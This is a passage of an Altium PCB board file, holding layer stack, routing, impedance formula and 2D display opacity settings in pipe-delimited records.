18|LAYERV7_1PREV=16973824|LAYERV7_1NEXT=16973824|LAYERV7_1MECHENABLED=FALSE|LAYERV7_1COPTHICK=1.4mil|LAYERV7_1DIELTYPE=0|LAYERV7_1DIELCONST=4.800|LAYERV7_1DIELHEIGHT=12.6mil|LAYERV7_1DIELMATERIAL=FR-4|LAYERV7_2LAYERID=16908307|LAYERV7_2NAME=Mechanical 19|LAYERV7_2PREV=16973824|LAYERV7_2NEXT=16973824|LAYERV7_2MECHENABLED=FALSE|LAYERV7_2COPTHICK=1.4mil|LAYERV7_2DIELTYPE=0|LAYERV7_2DIELCONST=4.800|LAYERV7_2DIELHEIGHT=12.6mil|LAYERV7_2DIELMATERIAL=FR-4|LAYERV7_3LAYERID=16908308|LAYERV7_3NAME=Mechanical 20|LAYERV7_3PREV=16973824|LAYERV7_3NEXT=16973824|LAYERV7_3MECHENABLED=FALSE|LAYERV7_3COPTHICK=1.4mil|LAYERV7_3DIELTYPE=0|LAYERV7_3DIELCONST=4.800|LAYERV7_3DIELHEIGHT=12.6mil|LAYERV7_3DIELMATERIAL=FR-4|LAYERV7_4LAYERID=16908309|LAYERV7_4NAME=Mechanical 21|LAYERV7_4PREV=16973824|LAYERV7_4NEXT=16973824|LAYERV7_4MECHENABLED=FALSE|LAYERV7_4COPTHICK=1.4mil|LAYERV7_4DIELTYPE=0|LAYERV7_4DIELCONST=4.800|LAYERV7_4DIELHEIGHT=12.6mil|LAYERV7_4DIELMATERIAL=FR-4|LAYERV7_5LAYERID=16908310|LAYERV7_5NAME=Mechanical 22|LAYERV7_5PREV=16973824|LAYERV7_5NEXT=16973824|LAYERV7_5MECHENABLED=FALSE|LAYERV7_5COPTHICK=1.4mil|LAYERV7_5DIELTYPE=0|LAYERV7_5DIELCONST=4.800|LAYERV7_5DIELHEIGHT=12.6mil|LAYERV7_5DIELMATERIAL=FR-4|LAYERV7_6LAYERID=16908311|LAYERV7_6NAME=Mechanical 23|LAYERV7_6PREV=16973824|LAYERV7_6NEXT=16973824|LAYERV7_6MECHENABLED=FALSE|LAYERV7_6COPTHICK=1.4mil|LAYERV7_6DIELTYPE=0|LAYERV7_6DIELCONST=4.800|LAYERV7_6DIELHEIGHT=12.6mil|LAYERV7_6DIELMATERIAL=FR-4|LAYERV7_7LAYERID=16908312|LAYERV7_7NAME=Mechanical 24|LAYERV7_7PREV=16973824|LAYERV7_7NEXT=16973824|LAYERV7_7MECHENABLED=FALSE|LAYERV7_7COPTHICK=1.4mil|LAYERV7_7DIELTYPE=0|LAYERV7_7DIELCONST=4.800|LAYERV7_7DIELHEIGHT=12.6mil|LAYERV7_7DIELMATERIAL=FR-4|LAYERV7_8LAYERID=16908313|LAYERV7_8NAME=Mechanical 25|LAYERV7_8PREV=16973824|LAYERV7_8NEXT=16973824|LAYERV7_8MECHENABLED=FALSE|LAYERV7_8COPTHICK=1.4mil|LAYERV7_8DIELTYPE=0|LAYERV7_8DIELCONST=4.800|LAYERV7_8DIELHEIGHT=12.6mil|LAYERV7_8DIELMATERIAL=FR-4|LAYERV7_9LAYERID=16908314|LAYERV7_9NAME=Mechanical 26|LAYERV7_9PREV=16973824|LAYERV7_9NEXT=16973824|LAYERV7_9MECHENABLED=FALSE|LAYERV7_9COPTHICK=1.4mil|LAYERV7_9DIELTYPE=0|LAYERV7_9DIELCONST=4.800|LAYERV7_9DIELHEIGHT=12.6mil|LAYERV7_9DIELMATERIAL=FR-4|LAYERV7_10LAYERID=16908315|LAYERV7_10NAME=Mechanical 27|LAYERV7_10PREV=16973824|LAYERV7_10NEXT=16973824|LAYERV7_10MECHENABLED=FALSE|LAYERV7_10COPTHICK=1.4mil|LAYERV7_10DIELTYPE=0|LAYERV7_10DIELCONST=4.800|LAYERV7_10DIELHEIGHT=12.6mil|LAYERV7_10DIELMATERIAL=FR-4|LAYERV7_11LAYERID=16908316|LAYERV7_11NAME=Mechanical 28|LAYERV7_11PREV=16973824|LAYERV7_11NEXT=16973824|LAYERV7_11MECHENABLED=FALSE|LAYERV7_11COPTHICK=1.4mil|LAYERV7_11DIELTYPE=0|LAYERV7_11DIELCONST=4.800|LAYERV7_11DIELHEIGHT=12.6mil|LAYERV7_11DIELMATERIAL=FR-4|LAYERV7_12LAYERID=16908317|LAYERV7_12NAME=Mechanical 29|LAYERV7_12PREV=16973824|LAYERV7_12NEXT=16973824|LAYERV7_12MECHENABLED=FALSE|LAYERV7_12COPTHICK=1.4mil|LAYERV7_12DIELTYPE=0|LAYERV7_12DIELCONST=4.800|LAYERV7_12DIELHEIGHT=12.6mil|LAYERV7_12DIELMATERIAL=FR-4|LAYERV7_13LAYERID=16908318|LAYERV7_13NAME=Mechanical 30|LAYERV7_13PREV=16973824|LAYERV7_13NEXT=16973824|LAYERV7_13MECHENABLED=FALSE|LAYERV7_13COPTHICK=1.4mil|LAYERV7_13DIELTYPE=0|LAYERV7_13DIELCONST=4.800|LAYERV7_13DIELHEIGHT=12.6mil|LAYERV7_13DIELMATERIAL=FR-4|LAYERV7_14LAYERID=16908319|LAYERV7_14NAME=Mechanical 31|LAYERV7_14PREV=16973824|LAYERV7_14NEXT=16973824|LAYERV7_14MECHENABLED=FALSE|LAYERV7_14COPTHICK=1.4mil|LAYERV7_14DIELTYPE=0|LAYERV7_14DIELCONST=4.800|LAYERV7_14DIELHEIGHT=12.6mil|LAYERV7_14DIELMATERIAL=FR-4|LAYERV7_15LAYERID=16908320|LAYERV7_15NAME=Mechanical 32|LAYERV7_15PREV=16973824|LAYERV7_15NEXT=16973824|LAYERV7_15MECHENABLED=FALSE|LAYERV7_15COPTHICK=1.4mil|LAYERV7_15DIELTYPE=0|LAYERV7_15DIELCONST=4.800|LAYERV7_15DIELHEIGHT=12.6mil|LAYERV7_15DIELMATERIAL=FR-4|LAYERPAIR0LOW=TOP|LAYERPAIR0HIGH=BOTTOM|LAYERPAIR0DRILLGUIDE=FALSE|LAYERPAIR0DRILLDRAWING=FALSE|LAYERPAIR0SUBSTACK_0={133D6234-F010-46C7-B390-43FBDD454A88}\r|RECORD=Board|TOGGLELAYERS=1111111111111111111111111111111111111111111111111111111111111111111111111111111111|PLACEMARKERX1=-0.0001mil|PLACEMARKERY1=-0.0001mil|PLACEMARKERX2=-0.0001mil|PLACEMARKERY2=-0.0001mil|PLACEMARKERX3=-0.0001mil|PLACEMARKERY3=-0.0001mil|PLACEMARKERX4=-0.0001mil|PLACEMARKERY4=-0.0001mil|PLACEMARKERX5=-0.0001mil|PLACEMARKERY5=-0.0001mil|PLACEMARKERX6=-0.0001mil|PLACEMARKERY6=-0.0001mil|PLACEMARKERX7=-0.0001mil|PLACEMARKERY7=-0.0001mil|PLACEMARKERX8=-0.0001mil|PLACEMARKERY8=-0.0001mil|PLACEMARKERX9=-0.0001mil|PLACEMARKERY9=-0.0001mil|PLACEMARKERX10=-0.0001mil|PLACEMARKERY10=-0.0001mil|SELECTIONMEMORYLOCK1=FALSE|SELECTIONMEMORYLOCK2=FALSE|SELECTIONMEMORYLOCK3=FALSE|SELECTIONMEMORYLOCK4=FALSE|SELECTIONMEMORYLOCK5=FALSE|SELECTIONMEMORYLOCK6=FALSE|SELECTIONMEMORYLOCK7=FALSE|SELECTIONMEMORYLOCK8=FALSE|SURFACEMICROSTRIP_I=(60/SQRT(Er*(1-EXP(-1.55*(0.00002+TraceToPlaneDistance)/TraceToPlaneDistance))))*LN(5.98*TraceToPlaneDistance/(0.8*TraceWidth+TraceHeight))|SURFACEMICROSTRIP_W=((5.98*TraceToPlaneDistance)/EXP(CharacteristicImpedance/(60/SQRT(Er*(1-EXP(-1.55*(0.00002+TraceToPlaneDistance)/TraceToPlaneDistance)))))-TraceHeight)/0.8|SYMMETRICSTRIPLINE_I=(80/SQRT(Er))*LN((1.9*(2*TraceToPlaneDistance+TraceHeight)/(0.8*TraceWidth+TraceHeight)))*(1-(TraceToPlaneDistance/(4*(PlaneToPlaneDistance-TraceHeight-TraceToPlaneDistance))))|SYMMETRICSTRIPLINE_W=((1.9*(2*TraceToPlaneDistance+TraceHeight))/(EXP((CharacteristicImpedance/(80/SQRT(Er)))/(1-(TraceToPlaneDistance/(4*(PlaneToPlaneDistance-TraceHeight-TraceToPlaneDistance))))))-TraceHeight)/0.8|ELECTRICALGRIDSNAPTOBO=FALSE|ELECTRICALGRIDUSEALLLAYERS=FALSE|ROUTINGDIRECTIONTOP LAYER=Automatic|ROUTINGDIRECTIONMID LAYER 1=Automatic|ROUTINGDIRECTIONMID LAYER 2=Automatic|ROUTINGDIRECTIONMID LAYER 3=Automatic|ROUTINGDIRECTIONMID LAYER 4=Automatic|ROUTINGDIRECTIONMID LAYER 5=Automatic|ROUTINGDIRECTIONMID LAYER 6=Automatic|ROUTINGDIRECTIONMID LAYER 7=Automatic|ROUTINGDIRECTIONMID LAYER 8=Automatic|ROUTINGDIRECTIONMID LAYER 9=Automatic|ROUTINGDIRECTIONMID LAYER 10=Automatic|ROUTINGDIRECTIONMID LAYER 11=Automatic|ROUTINGDIRECTIONMID LAYER 12=Automatic|ROUTINGDIRECTIONMID LAYER 13=Automatic|ROUTINGDIRECTIONMID LAYER 14=Automatic|ROUTINGDIRECTIONMID LAYER 15=Automatic|ROUTINGDIRECTIONMID LAYER 16=Automatic|ROUTINGDIRECTIONMID LAYER 17=Automatic|ROUTINGDIRECTIONMID LAYER 18=Automatic|ROUTINGDIRECTIONMID LAYER 19=Automatic|ROUTINGDIRECTIONMID LAYER 20=Automatic|ROUTINGDIRECTIONMID LAYER 21=Automatic|ROUTINGDIRECTIONMID LAYER 22=Automatic|ROUTINGDIRECTIONMID LAYER 23=Automatic|ROUTINGDIRECTIONMID LAYER 24=Automatic|ROUTINGDIRECTIONMID LAYER 25=Automatic|ROUTINGDIRECTIONMID LAYER 26=Automatic|ROUTINGDIRECTIONMID LAYER 27=Automatic|ROUTINGDIRECTIONMID LAYER 28=Automatic|ROUTINGDIRECTIONMID LAYER 29=Automatic|ROUTINGDIRECTIONMID LAYER 30=Automatic|ROUTINGDIRECTIONBOTTOM LAYER=Automatic|TOPLAYER_MRLASTWIDTH=15mil|MIDLAYER1_MRLASTWIDTH=15mil|MIDLAYER2_MRLASTWIDTH=15mil|MIDLAYER3_MRLASTWIDTH=15mil|MIDLAYER4_MRLASTWIDTH=15mil|MIDLAYER5_MRLASTWIDTH=15mil|MIDLAYER6_MRLASTWIDTH=15mil|MIDLAYER7_MRLASTWIDTH=15mil|MIDLAYER8_MRLASTWIDTH=15mil|MIDLAYER9_MRLASTWIDTH=15mil|MIDLAYER10_MRLASTWIDTH=15mil|MIDLAYER11_MRLASTWIDTH=15mil|MIDLAYER12_MRLASTWIDTH=15mil|MIDLAYER13_MRLASTWIDTH=15mil|MIDLAYER14_MRLASTWIDTH=15mil|MIDLAYER15_MRLASTWIDTH=15mil|MIDLAYER16_MRLASTWIDTH=15mil|MIDLAYER17_MRLASTWIDTH=15mil|MIDLAYER18_MRLASTWIDTH=15mil|MIDLAYER19_MRLASTWIDTH=15mil|MIDLAYER20_MRLASTWIDTH=15mil|MIDLAYER21_MRLASTWIDTH=15mil|MIDLAYER22_MRLASTWIDTH=15mil|MIDLAYER23_MRLASTWIDTH=15mil|MIDLAYER24_MRLASTWIDTH=15mil|MIDLAYER25_MRLASTWIDTH=15mil|MIDLAYER26_MRLASTWIDTH=15mil|MIDLAYER27_MRLASTWIDTH=15mil|MIDLAYER28_MRLASTWIDTH=15mil|MIDLAYER29_MRLASTWIDTH=15mil|MIDLAYER30_MRLASTWIDTH=15mil|BOTTOMLAYER_MRLASTWIDTH=15mil|MRLASTVIASIZE=50mil|MRLASTVIAHOLE=28mil|LASTTARGETLENGTH=99999mil|SHOWDEFAULTSETS=TRUE|LAYERSETSCOUNT=5|LAYERSET1NAME=&All Layers|LAYERSET1LAYERS=MultiLayer,TopPaste,TopOverlay,TopSolder,TopLayer,BottomLayer,BottomSolder,BottomOverlay,BottomPaste,DrillGuide,KeepOutLayer,Mechanical1,Mechanical15,DrillDrawing|LAYERSET1ACTIVELAYER.7=TOP|LAYERSET1ISCURRENT=FALSE|LAYERSET1ISLOCKED=TRUE|LAYERSET1FLIPBOARD=FALSE|LAYERSET2NAME=&Signal Layers|LAYERSET2LAYERS=MultiLayer,TopLayer,BottomLayer|LAYERSET2ACTIVELAYER.7=TOP|LAYERSET2ISCURRENT=FALSE|LAYERSET2ISLOCKED=TRUE|LAYERSET2FLIPBOARD=FALSE|LAYERSET3NAME=&Plane Layers|LAYERSET3LAYERS=|LAYERSET3ACTIVELAYER.7=UNKNOWN|LAYERSET3ISCURRENT=FALSE|LAYERSET3ISLOCKED=TRUE|LAYERSET3FLIPBOARD=FALSE|LAYERSET4NAME=&NonSignal Layers|LAYERSET4LAYERS=MultiLayer,TopPaste,TopOverlay,TopSolder,BottomSolder,BottomOverlay,BottomPaste,DrillGuide,KeepOutLayer,DrillDrawing|LAYERSET4ACTIVELAYER.7=MULTILAYER|LAYERSET4ISCURRENT=FALSE|LAYERSET4ISLOCKED=TRUE|LAYERSET4FLIPBOARD=FALSE|LAYERSET5NAME=&Mechanical Layers|LAYERSET5LAYERS=Mechanical1,Mechanical15|LAYERSET5ACTIVELAYER.7=MECHANICAL1|LAYERSET5ISCURRENT=FALSE|LAYERSET5ISLOCKED=TRUE|LAYERSET5FLIPBOARD=FALSE|BOARDINSIGHTVIEWCONFIGURATIONNAME=\r|RECORD=Board|VISIBLEGRIDMULTFACTOR=1.000|BIGVISIBLEGRIDMULTFACTOR=5.000|ELECTRICALGRIDMULTFACT=0.000|OUTLINEMODELCRC=0|OUTLINEMODELNAME=\r|RECORD=Board|CURRENT2D3DVIEWSTATE=2D\r|RECORD=Board|VP.LX=0|VP.HX=5684260|VP.LY=0|VP.HY=3947638\r|RECORD=Board|2DCONFIGTYPE=.config_2dsimple|2DCONFIGURATION=`RECORD=Board`CFGALL.CONFIGURATIONKIND=1`CFGALL.CONFIGURATIONDESC=Altium%20Standard%202D`CFGALL.COMPONENTBODYREFPOINTCOLOR=16777215`CFGALL.COMPONENTBODYSNAPPOINTCOLOR=16777215`CFGALL.SHOWCOMPONENTSNAPMARKERS=FALSE`CFG2D.PRIMDRAWMODE=00000000000000000000000`CFG2D.LAYEROPACITY.TOPLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER17=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER18=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER19=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER20=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER21=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER22=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER23=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER24=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER25=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER26=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER27=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER28=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER29=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER30=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPOVERLAY=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMOVERLAY=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPPASTE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMPASTE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPSOLDER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMSOLDER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRILLGUIDE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.KEEPOUTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1